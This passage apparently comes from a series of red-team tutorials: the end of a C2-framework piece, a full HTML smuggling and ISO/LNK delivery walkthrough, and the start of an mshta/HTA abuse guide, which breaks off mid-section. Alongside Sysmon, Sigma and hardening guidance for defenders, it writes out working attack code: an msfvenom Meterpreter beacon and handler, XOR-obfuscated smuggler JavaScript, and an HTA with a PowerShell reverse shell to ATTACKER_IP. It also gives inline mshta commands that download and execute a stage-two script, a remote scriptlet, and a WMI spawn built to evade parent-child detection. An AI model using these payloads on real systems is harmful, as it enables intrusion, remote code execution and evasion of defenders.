- WDAC or AppLocker to block unsigned DLL loading.
- Constrained Language Mode for PowerShell, enforce v5+ logging.
- Credential Guard on Windows 10/11/Server 2019+, breaks LSASS read primitives.
- Egress allow-listing. If the workstation VLAN cannot talk to arbitrary internet, half your C2 problem is already solved.

12. Tools
| Tool | Description | Link |
|---|---|---|
| Cobalt Strike | Commercial C2. Licensed only, do not use cracks | fortra.com |
| Havoc | Open-source Go/C2 with modern evasion | github.com/HavocFramework/Havoc |
| Sliver | Bishop Fox open-source cross-platform C2 | github.com/BishopFox/sliver |
| Sysmon | Sysinternals process/network/pipe telemetry | learn.microsoft.com |
| Elastic + Winlogbeat | Log pipeline for Sysmon events | elastic.co |
| Sigma | Detection rule format | github.com/SigmaHQ/sigma |
| JARM | TLS fingerprint scanner (Salesforce) | github.com/salesforce/jarm |
| Zeek | Network protocol analyzer for C2 traffic | zeek.org |
| PE-bear / PE-sieve | Post-callback memory forensics | github.com/hasherezade |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Application Layer Protocol: Web Protocols | T1071.001 | Sysmon EID 3, egress proxy logs, JARM |
| Application Layer Protocol: DNS | T1071.004 | Sysmon EID 22, DNS query volume analytics |
| Non-Application Layer Protocol (WireGuard) | T1095 | NetFlow, UDP peer analysis |
| Process Injection: Portable Executable Injection | T1055.002 | Sysmon EID 8/10, TI ETW provider |
| Process Injection: Process Hollowing | T1055.012 | Sysmon EID 1 + 8, memory scan |
| Reflective Code Loading | T1620 | ETW Microsoft-Windows-Threat-Intelligence |
| Command and Scripting Interpreter: PowerShell | T1059.001 | EID 4104 script block, 4103 module log |
| OS Credential Dumping: LSASS Memory | T1003.001 | Sysmon EID 10 on lsass.exe, Credential Guard |
| Access Token Manipulation: Token Impersonation | T1134.001 | 4624/4672 logon events, EDR token tracking |
| Lateral Movement: SMB/Windows Admin Shares | T1021.002 | 4624 type 3, Sysmon EID 3, 5140/5145 file share |
| Ingress Tool Transfer | T1105 | Proxy logs, EDR file-write telemetry |
| Encrypted Channel: Asymmetric Cryptography | T1573.002 | TLS metadata, JARM/JA3 |
| Cobalt Strike (Software) | S0154 | Community rules, JARM fingerprint set |
| Sliver (Software) | S0633 | Canary domain hits, static Go binary heuristics |
Summary
- A C2 framework is a team server, an implant, and a listener protocol. Everything else, profiles, BOFs, sleep obfuscation, pivots, is a feature bolted on that triangle.
- Cobalt Strike sets the ergonomic bar (Beacon, malleable profiles, Aggressor, BOFs) but its default artifacts are the most heavily signatured in the industry.
- Havoc’s Demon bakes modern evasion in by default: Ekko sleep obfuscation, indirect syscalls, hardware breakpoint AMSI/ETW patching, and stack duplication.
- Sliver is the cross-platform Go workhorse: mTLS/gRPC multiplayer, per-binary keys, WireGuard/DNS transports, canary domains, and an Armory of community modules.
- Detection lives at three layers: process telemetry (Sysmon EID 1/8/10/17), runtime telemetry (ETW
Threat-Intelligence, AMSI, script block logging), and network (JARM/JA4, DNS volume, egress inspection). Malleable profiles will bend static rules; behavior-based detections are what still catch these frameworks in the wild.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
HTML Smuggling and ISO/IMG-Based Payload Delivery
Objective: Build a working HTML smuggling delivery chain in a lab, drop a container (ISO) that bypasses Mark-of-the-Web, land a shell via a LNK-inside-ISO pattern, then flip to defender and catch every stage with Sysmon, Sigma, and hardening controls.
The interesting thing about HTML smuggling is that nothing about it is a vulnerability. There is no CVE. There is no memory corruption. You are just using HTML5 and JavaScript exactly the way the spec says you can, and the file never crosses a network boundary as a file. Your web proxy sees text/html. Your SEG sees text/html. Your NGFW’s file inspection engine sees text/html. Meanwhile the browser is quietly reassembling a payload in RAM and writing it to Downloads\.
Pair that with an ISO container, and you have removed the second layer of defense too: Mark-of-the-Web. SmartScreen never fires because SmartScreen never sees a marked binary. This is the exact chain NOBELIUM ran in 2021, that QakBot ran to stage Black Basta in 2022, and that keeps showing up in Mekotio, AsyncRAT, and TrickBot samples. This tutorial builds it end to end in an isolated lab, then shows how a competent blue team catches the whole sequence.
Lab is host-only. No internet egress. Attacker VM is Kali, victim is a Windows 10/11 VM with Defender on and Sysmon v14+ installed. Nothing here is aimed at a live target and no unpatched CVE is used – the primitives themselves are the lesson.
1. Why the Perimeter Cannot See This
Think about where a traditional email/web control actually intercepts a file. A secure email gateway scans the attachment MIME parts on ingress. A web proxy inspects the response body for known bad file signatures or hashes. Network DPI matches magic bytes as bytes cross the wire.
HTML smuggling breaks all three assumptions at once. The wire only ever carries an HTML document containing JavaScript. The file (the ISO, the ZIP, the DLL, whatever) is assembled inside the browser after decoding a string that was embedded in the HTML. There is no “download” from the gateway’s perspective, because Blob construction and URL.createObjectURL() are entirely local operations. The blob: URL scheme is a pointer into the browser’s own memory.
The blue-team implication: you cannot catch this at the perimeter with signature matching alone. Detection moves onto the endpoint, specifically into the NTFS Zone.Identifier stream and the process tree that follows. More on that in Section 9.

2. JavaScript Blob Mechanics
Before writing the smuggler, understand exactly which APIs it leans on and why.
| API | Purpose |
|---|---|
atob() | Decodes a Base64 string into a binary string (each char = one byte, 0-255) |
Uint8Array | Typed array holding raw bytes; the Blob constructor accepts it directly |
new Blob([data], {type}) | Builds an in-memory binary object with a MIME type |
URL.createObjectURL(blob) | Returns a blob: URL that references the in-memory Blob |
URL.revokeObjectURL(url) | Releases the reference so the Blob can be GC’d |
<a download="name"> | HTML5 attribute that forces a save-as instead of navigation |
msSaveBlob(blob, name) | Legacy IE/Edge-Legacy API. Deprecated. Modern samples do not use it. |
One accuracy note the research brief calls out: msSaveBlob shows up in older writeups and in the MITRE T1027.006 description, but it only exists in IE and pre-Chromium Edge. Any current smuggler you look at will use createObjectURL and a synthetic anchor click. Present it that way.
The rest of the chain is just DOM: create an <a> element, set href to the Blob URL, set download to the filename the victim will see, append it to document.body, call .click(). That is the entire delivery mechanism.
3. Lab Setup
Two VMs, host-only network, 192.168.56.0/24.
| Host | OS | Role | IP |
|---|---|---|---|
| Attacker | Kali Linux | Serves smuggler HTML, runs C2 handler | 192.168.56.10 |
| Victim | Windows 10/11 (Defender on, Sysmon v14+ with SwiftOnSecurity config) | Detonates payload | 192.168.56.20 |
Install requirements on Kali:
sudo apt install -y genisoimage python3 metasploit-framework
On the Windows victim, install Sysmon with a config that logs FileCreateStreamHash (EID 15) with Contents. Sysmon v11.10+ can capture ADS contents, and you want that.
Sysmon64.exe -accepteula -i sysmonconfig-export.xml
Get-Service Sysmon64
One important note about the victim’s patch level. Microsoft’s KB5022842 (Feb 2023, Win 11 22H2) began propagating MoTW into some container contents. If your Windows victim is fully patched, files inside a mounted ISO may inherit Zone.Identifier and SmartScreen will fire. To reproduce the classic NOBELIUM behavior you either want a pre-KB5022842 Win 10 image, or you accept that on modern Win 11 the bypass is now partial and the tutorial’s job is to show why the primitive worked and how detection stayed relevant either way. Test which side you are on before going further:
Get-HotFix | Where-Object HotFixID -eq 'KB5022842'
4. Craft the C2 Beacon
Generate a stageless HTTPS Meterpreter DLL. For a real engagement you would swap this for a custom shellcode loader. For lab work, msfvenom is fine and gives you predictable telemetry to hunt against.
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=4443 \
-f dll -o lab_beacon.dll
Kick off the handler in another terminal so it is ready when the victim detonates:
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_https; \
set LHOST 192.168.56.10; set LPORT 4443; \
set ExitOnSession false; exploit -j"
5. Build the ISO Payload
The trick that makes ISO a MoTW bypass primitive is that ISO 9660 and UDF are not NTFS. MoTW is an NTFS Alternate Data Stream (:Zone.Identifier). No NTFS, no ADS. When Explorer auto-mounts an ISO on double-click, the files on the resulting virtual drive letter have never had a Zone.Identifier applied to them, so SmartScreen has nothing to check against.
Add a LNK that points to a Living-Off-the-Land binary (LOLBin) which loads your DLL. rundll32.exe is the classic choice and matches the NOBELIUM tradecraft.
On a Windows prep VM, build the ISO staging folder:
mkdir C:\LabISO
Copy-Item .\lab_beacon.dll C:\LabISO\lab_beacon.dll
$shell = New-Object -ComObject WScript.Shell
$lnk = $shell.CreateShortcut("C:\LabISO\Documents.lnk")
$lnk.TargetPath = "C:\Windows\System32\rundll32.exe"
$lnk.Arguments = "lab_beacon.dll,DllMain"
$lnk.WorkingDirectory = "%CD%"
$lnk.IconLocation = "%SystemRoot%\System32\shell32.dll,1"
$lnk.Save()
Copy C:\LabISO\ to the Kali box (SMB, SCP, shared folder, doesn’t matter), then package it with genisoimage:
genisoimage -o lab_payload.iso \
-V "DOCUMENTS" \
-J -r \
/home/kali/LabISO/
-J enables Joliet, -r enables Rock Ridge. You want both so the LNK filename survives cleanly on Windows. Quick sanity check:
isoinfo -l -i lab_payload.iso
ls -lh lab_payload.iso
Base64 the ISO for embedding in the HTML:
base64 -w 0 lab_payload.iso > lab_payload.b64
wc -c lab_payload.b64
A word of warning that cost me an hour the first time I did this: browsers handle multi-megabyte inline Base64 strings fine but the parse-and-decode step is noticeably slow, and the tab will look frozen for a few seconds on a large payload. Keep the beacon DLL small.
6. Build the HTML Smuggler
Three variants worth practicing. Start with the plain auto-download, then layer obfuscation.
6.1 Variant A: Auto-download on load
<!doctype html>
<html>
<head><title>Secure Document Viewer</title></head>
<body>
<p>Loading secure document viewer...</p>
<script>
// Base64-encoded ISO. In the lab, paste the contents of lab_payload.b64 here.
var b64 = "TERMPKAAAAA..."; // truncated
// atob() decodes Base64 into a binary string: each char code is one byte 0-255.
var binary = atob(b64);
// Copy those bytes into a typed array so Blob gets raw bytes, not UTF-16.
var bytes = new Uint8Array(binary.length);
for (var i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
// Assemble the file in memory. Nothing has hit disk yet.
var blob = new Blob([bytes], { type: 'application/octet-stream' });
// createObjectURL returns a blob:https://... URL that only this document can resolve.
var url = URL.createObjectURL(blob);
// Synthesize an <a download> and click it. This is what actually writes to Downloads\.
var link = document.createElement('a');
link.href = url;
link.download = 'Documents.iso';
document.body.appendChild(link);
link.click();
// Free the Blob URL. The file is already on disk; the URL is no longer needed.
URL.revokeObjectURL(url);
</script>
</body>
</html>
The Uint8Array copy loop is not optional. If you pass the binary string directly to Blob, the browser stores it as UTF-16 code units and your ISO ends up with the wrong bytes. charCodeAt(i) gives you the raw byte value because atob returned a string of Latin-1 characters.
6.2 Variant B: Click-triggered
Some detonation environments (sandboxes, headless scanners) navigate to a page and record what happens. Requiring a click delays and can dodge naive analysis:
<button id="dl">Download Report</button>
<script>
document.getElementById('dl').addEventListener('click', function() {
// ... identical Blob/anchor logic as Variant A
});
</script>
6.3 Variant C: XOR-obfuscated payload
Adding a single-byte XOR before Base64 defeats static string scanning of the HTML for MZ headers or ISO signatures. The QakBot family did versions of this.
Prep on Kali:
# xor_encode.py
key = 0x42
with open("lab_payload.iso","rb") as f: data = f.read()
enc = bytes(b ^ key for b in data)
import base64
open("lab_payload_xor.b64","w").write(base64.b64encode(enc).decode())
Smuggler:
<script>
var key = 0x42;
var b64 = "..."; // XOR-then-Base64 blob
var binary = atob(b64);
var bytes = new Uint8Array(binary.length);
for (var i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i) ^ key; // undo XOR on the fly
}
var blob = new Blob([bytes], { type: 'application/octet-stream' });
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url; a.download = 'Documents.iso';
document.body.appendChild(a); a.click();
URL.revokeObjectURL(url);
</script>
Adds detection surface where it takes it away, though. A payload with atob next to a decoding loop and a Uint8Array and a Blob and an <a download> is a strong static signal on its own, XOR key or not. That is a real thing defenders key on: YARA rules for HTML smuggling do not chase specific strings, they chase the combination of these APIs in one document.
7. Deliver and Execute
On Kali:
cd ~/deliver
cp lab_smuggler.html index.html
python3 -m http.server 8080
On the victim, browse to http://192.168.56.10:8080/. Watch what happens:
- Page loads. Static-content scanner sees
text/htmland lets it through. - JS decodes the ISO, builds the Blob, synthesizes the anchor, clicks it.
- Browser writes
Documents.isoto%USERPROFILE%\Downloads\. - That file does get a
Zone.IdentifierADS – the browser is still an internet source. Open it in a text editor to see:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://192.168.56.10:8080/
HostUrl=blob:http://192.168.56.10:8080/8a4d...
That HostUrl=blob:... is the fingerprint. There is no non-suspicious reason for a real user’s downloaded file to have a blob: HostUrl.
5. User double-clicks Documents.iso. Explorer auto-mounts it as, say, E:\.
6. Inside E:\, Documents.lnk and lab_beacon.dll sit with no MoTW.
7. User double-clicks Documents.lnk. Explorer calls ShellExecute, which runs rundll32.exe lab_beacon.dll,DllMain from E:\.
8. Beacon calls back to 192.168.56.10:4443. SmartScreen never fired.
Meterpreter session lands in the handler you left running. You now have execution as the logged-in user with no prompts touched.

8. Why the Chain Works, in One Table
| Stage | Control it defeats | Why |
|---|---|---|
| HTML smuggling (Blob) | Web proxy / SEG file inspection | No file crosses the wire, only HTML+JS |
| Base64 (+ optional XOR) in HTML | Static string / signature scanning | Payload bytes not present in transit |
| ISO container | Mark-of-the-Web propagation | ISO 9660 / UDF has no NTFS ADS |
| LNK inside ISO | SmartScreen prompt | Files on mounted ISO drive have no Zone.Identifier |
rundll32 from ISO | Application allowlisting (weak configs) | LOLBin is signed and permitted by default |
The important thing here is that each layer targets a specific control. That is why “just block one” is not enough on the defender side.
9. Detection and Defense
Detection lives on the endpoint, and it lives specifically in Sysmon and the process tree. The signal is very strong if you look in the right places.
9.1 Sysmon events that matter
| Event ID | Name | What it catches |
|---|---|---|
| 11 | FileCreate | Browser writing .iso/.img/.vhd/.vhdx/.zip to Downloads |
| 15 | FileCreateStreamHash | The Zone.Identifier ADS being written, including its contents |
| 23 | FileDelete (archive-enabled) | Attackers stripping Zone.Identifier post-download |
| 1 | ProcessCreate | rundll32.exe running with a DLL path on a mounted drive letter |
| 22 | DnsQuery | C2 lookup right after the LNK execution |
The single highest-signal event in this whole chain is Event ID 15 with a Contents field containing HostUrl=blob:. That is the fingerprint of an HTML-smuggled file, full stop. There is not a benign explanation for that string in a Zone.Identifier on a normal user endpoint. Sysmon started supporting ADS content capture in 11.10, so ensure your config actually asks for it:
<RuleGroup name="" groupRelation="or">
<FileCreateStreamHash onmatch="include">
<Rule name="HTML_Smuggling" groupRelation="and">
<TargetFilename condition="end with">:Zone.Identifier</TargetFilename>
<Contents condition="contains any">blob:;about:internet</Contents>
</Rule>
</FileCreateStreamHash>
</RuleGroup>
9.2 Sigma rules
These are the building blocks. Chain them for higher-fidelity detection. The chain rule concept comes from Micah Babinski’s public research (id: 0952f2fa-e29b-4eb5-831c-ce21520c56e3, marked experimental) – link out to the source and run the individual rules first before you graduate to sequencing.
title: Browser Drops Disk Image or Archive to Downloads
id: 11111111-aaaa-bbbb-cccc-000000000001
logsource:
product: windows
category: file_event
detection:
selection:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
- '\iexplore.exe'
TargetFilename|endswith:
- '.iso'
- '.img'
- '.vhd'
- '.vhdx'
- '.zip'
condition: selection
level: medium
title: HTML Smuggling Zone.Identifier Blob URL Marker
id: 11111111-aaaa-bbbb-cccc-000000000002
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename|endswith: ':Zone.Identifier'
Contents|contains:
- 'HostUrl=blob:'
- 'about:internet'
condition: selection
level: high
title: Rundll32 Executing from Mounted Disk Image
id: 11111111-aaaa-bbbb-cccc-000000000003
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\rundll32.exe'
CommandLine|re: '(?i)[D-Z]:\\[^\\]+\.dll'
ParentImage|endswith: '\explorer.exe'
condition: selection
level: high
Sequence them: Rule 1 fires, then Rule 2 fires on the same file within seconds, then Rule 3 fires within minutes with a matching drive letter. That is the whole chain and it is very hard to produce those three events benignly.
9.3 ETW and audit policy
Complement Sysmon with:
Microsoft-Windows-Kernel-Filefor image mount eventsMicrosoft-Windows-Shell-CoreforShellExecuteinvocations from LNK- Audit Object Access with a SACL on
%USERPROFILE%\Downloadsfor high-value users
Enable command-line logging so the rundll32 lab_beacon.dll,DllMain string actually lands in EID 4688 / Sysmon EID 1:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
/v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
auditpol /set /subcategory:"File System" /success:enable /failure:enable
9.4 Hardening
None of these alone is a fix. Layered they close most of the chain.
- Kill Explorer’s auto-mount of disk images. Remove or repoint the
mountverb onHKCR\Windows.IsoFile\shell\mountand the.iso/.img/.vhd/.vhdxfile associations. Users can still open images with disk tooling; casual double-click detonation dies. - Block container types at the gateway. ISO/IMG/VHD/VHDX are almost never a legitimate business attachment. Drop them at the SEG and the web proxy.
- Turn on ASR rule
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC(“Block execution of potentially obfuscated scripts”). Set to Block, not Audit, once you have baselined. - Deploy CDR on inbound HTML. Content-Disarm-and-Reconstruct strips the JavaScript from inline HTML attachments. Kills the primitive at the door.
- Patch MoTW propagation. KB5022842 and later propagate MoTW into some container contents. Test your Windows version explicitly; do not assume.
- WDAC / AppLocker. Deny
rundll32.exeloading DLLs from any non-fixed drive letter. This alone breaks the LNK-in-ISO pattern regardless of MoTW.
10. Purple Team Validation
Do not trust that your rules fire. Prove it.
Detonate the smuggler again with logging cranked up, then walk the artifacts:
# Confirm the smuggling marker on the downloaded ISO
Get-Content "$env:USERPROFILE\Downloads\Documents.iso" -Stream Zone.Identifier
# Confirm the LNK inside the mount has NO Zone.Identifier (proving the bypass)
Get-Item E:\Documents.lnk -Stream * | Select-Object Stream
# Pull the Sysmon events
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=15} `
-MaxEvents 20 | Where-Object { $_.Message -match 'blob:' }
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} `
-MaxEvents 50 | Where-Object { $_.Message -match 'rundll32.exe' -and $_.Message -match ':\\' }
You should see:
- EID 15 with
HostUrl=blob:...onDocuments.iso - Zero streams on the LNK inside the mount
- EID 1 with
rundll32.exerunning from a non-C drive with your DLL argument - EID 22 with the DNS query (if you gave the handler a hostname)
If any of those did not fire, fix the Sysmon config before you claim the detection.
11. Tools
| Tool | Use | Link |
|---|---|---|
genisoimage / mkisofs | Build ISO on Linux | (packaged) |
msfvenom / msfconsole | Beacon and handler | metasploit.com |
| Sysmon + SwiftOnSecurity config | Endpoint telemetry | sysinternals.com |
| Sigma | Detection rule authoring | sigmahq.io |
NirSoft AlternateStreamView | Inspect NTFS ADS | nirsoft.net |
| Process Monitor | Confirm process tree, mounted-drive I/O | sysinternals.com |
| PE-bear / CFF Explorer | Inspect the DLL you generated | (varies) |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Obfuscated Files or Information: HTML Smuggling | T1027.006 | Sysmon EID 15 with HostUrl=blob: in Zone.Identifier |
| Subvert Trust Controls: MoTW Bypass | T1553.005 | Files inside mounted ISO lacking Zone.Identifier |
| Phishing: Spearphishing Link | T1566.002 | Proxy/URL logs to the smuggler page |
| User Execution: Malicious File | T1204.002 | EID 1 on Documents.lnk invocation from mount |
| System Binary Proxy Execution: Rundll32 | T1218.011 | EID 1 for rundll32.exe with DLL on non-fixed drive |
| Application Layer Protocol: Web Protocols | T1071.001 | EID 22 / proxy egress to C2 host |
Summary
- HTML smuggling plus ISO delivery works because each layer defeats a specific control: Blob assembly kills perimeter file inspection, and ISO kills Mark-of-the-Web propagation.
- The delivery chain is HTML → in-browser Blob → ISO on disk → auto-mount → LNK →
rundll32→ C2. Every stage is documented adversary tradecraft (NOBELIUM, QakBot, Mekotio). - The strongest single detection is Sysmon Event ID 15 with
HostUrl=blob:in a downloaded file’sZone.Identifierstream. That string is not benign. - Layered defense actually works here: disable ISO auto-mount, block containers at the gateway, enable ASR obfuscated-script blocking, WDAC-restrict
rundll32off removable drives, and stay current on MoTW-propagation patches (KB5022842+). - Validate detections by detonating in the lab, not by reading rule YAML. If the events did not land, the detection does not exist.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
HTA Files and mshta.exe Abuse for Payload Delivery
Objective: Build, deliver, and execute HTA payloads against a lab Windows host through
mshta.exe, walk every variant from on-disk file to fully fileless inline monikers, then turn around and engineer the detection a defender needs to catch all of it.
mshta.exe is the kind of binary that should embarrass Microsoft into deprecating it, and yet here it is in 2025, sitting in System32, signed, trusted, and quietly executing whatever VBScript a user double-clicks. Internet Explorer is gone. The MSHTML rendering engine it depends on is officially legacy. The .hta extension is from the Windows 2000 era. None of that matters. As long as mshta.exe ships on every install, red teamers will use it, and you will see it in your logs.
This walkthrough is built around a single lab Windows 10/11 VM and an attacker box (Kali or any Linux with Python 3). No EDR for the offensive phase, then Sysmon turned on for the defensive phase so you can watch your own payloads light up the rule set you write. Everything runs in user context. No CVEs. No kernel work. Just a signed Microsoft binary being asked, very politely, to host a reverse shell.
1. What mshta.exe Actually Is
The Microsoft HTML Application Host lives at C:\Windows\System32\mshta.exe (and SysWOW64). It is a small wrapper around the Trident MSHTML engine: the same rendering and scripting stack that powered legacy Internet Explorer. When mshta.exe runs an HTA, it loads mshtml.dll to parse the HTML, then dispatches script blocks to vbscript.dll or jscript.dll via the standard COM scripting engine plumbing.
The critical difference from IE: HTA content does not run inside Protected Mode and is not constrained by Internet Explorer security zones. The HTA process is a desktop application that happens to be parsing HTML. It has the full token of the user who launched it. Filesystem, registry, COM, network, all reachable.
| Item | Detail |
|---|---|
| Binary path | C:\Windows\System32\mshta.exe, C:\Windows\SysWOW64\mshta.exe |
| Display name | Microsoft HTML Application Host |
| Signing | Authenticode-signed by Microsoft |
| Rendering engine | mshtml.dll (Trident) |
| Script engines | vbscript.dll, jscript.dll (via COM) |
| Default association | .hta files via the htafile ProgID |
Confirm it on your lab box:
where.exe mshta.exe
Get-AuthenticodeSignature C:\Windows\System32\mshta.exe | Select Status, SignerCertificate
cmd /c "assoc .hta"
cmd /c "ftype htafile"
You should see Valid signing status and the htafile association pointing at mshta.exe "%1" %*. That association is the entire premise of phishing-delivered HTAs: a user double-clicks Invoice.hta and Explorer happily launches a signed Microsoft binary that hands the script block to VBScript.
2. HTA File Anatomy
An HTA file is an HTML file with one extra tag, <HTA:APPLICATION>, that tells Trident to drop the browser chrome and treat the document as a desktop app. The tag also exposes attributes that double as evasion knobs.
| Attribute | What it does | Why an attacker cares |
|---|---|---|
APPLICATIONNAME | Sets the app name | Cosmetic |
WINDOWSTATE | normal, minimize, maximize | minimize hides the window |
SHOWINTASKBAR | yes / no | no removes the taskbar icon |
BORDER | Window border style | none removes chrome |
CAPTION | Title bar | no removes title bar |
SINGLEINSTANCE | Prevents duplicates | Sometimes used to avoid double-pop |
Here is a benign HTA, so you can see the shape before we weaponize it. Save as hello.hta and double-click it:
<html>
<head>
<HTA:APPLICATION ID="hello"
APPLICATIONNAME="HelloLab"
WINDOWSTATE="normal"
SHOWINTASKBAR="yes">
</HTA:APPLICATION>
<script language="VBScript">
MsgBox "Running inside mshta.exe as " & CreateObject("WScript.Network").UserName
</script>
</head>
<body><h2>Hello from HTA</h2></body>
</html>
You will get a real MessageBox with your username, popped by a signed Microsoft binary. Point of view: any time a binary with that much trust will execute arbitrary script from a user-controlled file, the security boundary is the user’s judgement, which is to say there is no boundary.
One quirk worth remembering: mshta.exe‘s parser is sloppy. The <hta:application> tag is not actually required. If you feed mshta HTML or raw script via a vbscript: or javascript: moniker, it will run it. This is what makes the fileless variants in Section 5 possible.
3. Execution Vectors
mshta.exe accepts payloads from far too many places. Memorize this table, because every detection rule you write has to cover all of it:
| Vector | Syntax |
|---|---|
| File on disk | mshta.exe C:\Users\victim\payload.hta |
| Remote URL | mshta.exe http://attacker/payload.hta |
| Inline VBScript moniker | mshta vbscript:Close(Execute("...")) |
| Inline JScript moniker | mshta javascript:a=(...).Exec();close(); |
| COM Scriptlet | mshta javascript:a=(GetObject("script:http://attacker/p.sct")).Exec();close(); |
about: protocol | mshta "about:<hta:application><script>...</script>" |
| NTFS Alternate Data Stream | mshta C:\file.txt:hidden.hta |
| Polyglot in another file | HTA content appended to a PE; mshta scans until it finds script |
A single Sigma rule on Image|endswith: '\mshta.exe' and CommandLine|contains: 'http' catches a chunk of this but misses the inline vbscript: and ADS variants. Coverage takes layered rules. We will build them in Section 8.

4. Lab: Building and Serving a Staged HTA Payload
Lab topology: Kali at 192.168.56.10, Windows 10 victim at 192.168.56.20. Replace ATTACKER_IP below with your Kali address.
On the attacker host, stand up two things: a listener and an HTTP server.
# Terminal 1: PowerShell reverse shell listener
rlwrap nc -lvnp 4444
# Terminal 2: HTTP server to host the HTA
mkdir /tmp/hta && cd /tmp/hta
python3 -m http.server 8080
Drop the following file as /tmp/hta/payload.hta. This is a deliberately stealthy HTA: minimized window, no taskbar, no border, no caption. The user sees nothing.
<html>
<head>
<HTA:APPLICATION ID="lab"
APPLICATIONNAME="LabApp"
WINDOWSTATE="minimize"
SHOWINTASKBAR="no"
BORDER="none"
CAPTION="no">
</HTA:APPLICATION>
<script language="VBScript">
Dim oShell
Set oShell = CreateObject("WScript.Shell")
' Lab-only reverse shell stager. Replace ATTACKER_IP.
oShell.Run "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass " & _
"-Command ""$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);" & _
"$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0)" & _
"{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)" & _
";$e=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($e,0,$e.Length)}""", 0, False
self.close
</script>
</head>
<body></body>
</html>
Trigger from the victim. Each of these is its own primitive worth understanding:
:: 1. File on disk (post-phishing-download model)
mshta.exe C:\Users\victim\Downloads\payload.hta
:: 2. Remote fetch (the cleaner red-team vector - no .hta touches disk
:: except the cached MSHTML temp file)
mshta.exe http://ATTACKER_IP:8080/payload.hta
On Kali, the nc listener prints a connection and you get an interactive PowerShell. whoami returns the victim user, hostname returns the victim machine.
listening on [any] 4444 ...
connect to [192.168.56.10] from victim [192.168.56.20] 49874
PS C:\Users\victim>
Small gotcha I lost an hour to the first time: if you embed the PowerShell command with mismatched double quotes inside the VBScript string concatenation, mshta.exe will execute the HTA but the powershell.exe child silently dies with a parse error and no callback. Test the PowerShell command in isolation first (powershell -Command "..." from cmd), confirm it talks to your listener, then paste it into the VBScript.
5. Fileless Delivery via Inline Monikers
This is what makes mshta.exe the LotL favorite it is. You never need an HTA file on disk. cmd.exe (or a phishing link, or a LNK file, or a scheduled task) can hand mshta.exe the entire payload as a command-line argument.
:: VBScript inline - fetch and IEX a PowerShell stage two
mshta vbscript:CreateObject("WScript.Shell").Run("powershell -NoP -W Hidden -EP Bypass -Command IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/stage2.ps1'))",0,False)(window.close)
:: JScript inline via COM Scriptlet
mshta javascript:a=(GetObject("script:http://ATTACKER_IP:8080/payload.sct")).Exec();close();
Forensic footprint comparison:
| Variant | Disk artifact | Network artifact |
|---|---|---|
File-based payload.hta | The .hta itself, plus MSHTML cache in INetCache | Outbound from powershell.exe |
Remote mshta http://... | MSHTML cached copy in INetCache\IE | Outbound from mshta.exe to the HTA URL |
Inline vbscript: | None from mshta; cmd line in 4688/Sysmon | Outbound only when stage two fires |
.sct via GetObject | None on mshta side | Outbound to .sct URL |
The reason mshta.exe is the perfect LotL host: the entire payload lives in process memory of a Microsoft-signed binary. No EXE drops. No DLL drops. The only persistent artifact is the command line, which is exactly why command-line logging (Event 4688 with command line, Sysmon 1) is the single most useful thing you can turn on.
The .sct (COM Scriptlet) for the JScript variant looks like this. Drop in /tmp/hta/payload.sct:
<?XML version="1.0"?>
<scriptlet>
<registration description="Lab" progid="Lab.Shell" version="1"
classid="{DEADBEEF-0000-0000-0000-000000000001}">
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec() {
var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd.exe /c whoami > C:\\Windows\\Temp\\lab_out.txt", 0, false);
}
]]>
</script>
</scriptlet>
GetObject("script:http://...") makes Windows fetch and execute the JScript inside that scriptlet. mshta.exe is just the engine; the payload format is portable across other LolBin hosts too.

6. Process-Chain Manipulation via WMI
Naive detection rules look for mshta.exe parent with powershell.exe, cmd.exe, wscript.exe children. Fine catch for lazy operators. Anyone with a WMI primitive shrugs it off.
Replace the oShell.Run in the HTA with a WMI Win32_Process.Create call. The resulting powershell.exe is parented by WmiPrvSE.exe, not by mshta.exe. The parent-child rule misses it cleanly.
' Inside the HTA script block - WMI process spawn
Dim oWMI, oProcess, pid
Set oWMI = GetObject("winmgmts:\\.\root\cimv2")
Set oProcess = oWMI.Get("Win32_Process")
oProcess.Create "powershell.exe -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/stage2.ps1'))", Null, Null, pid
self.close
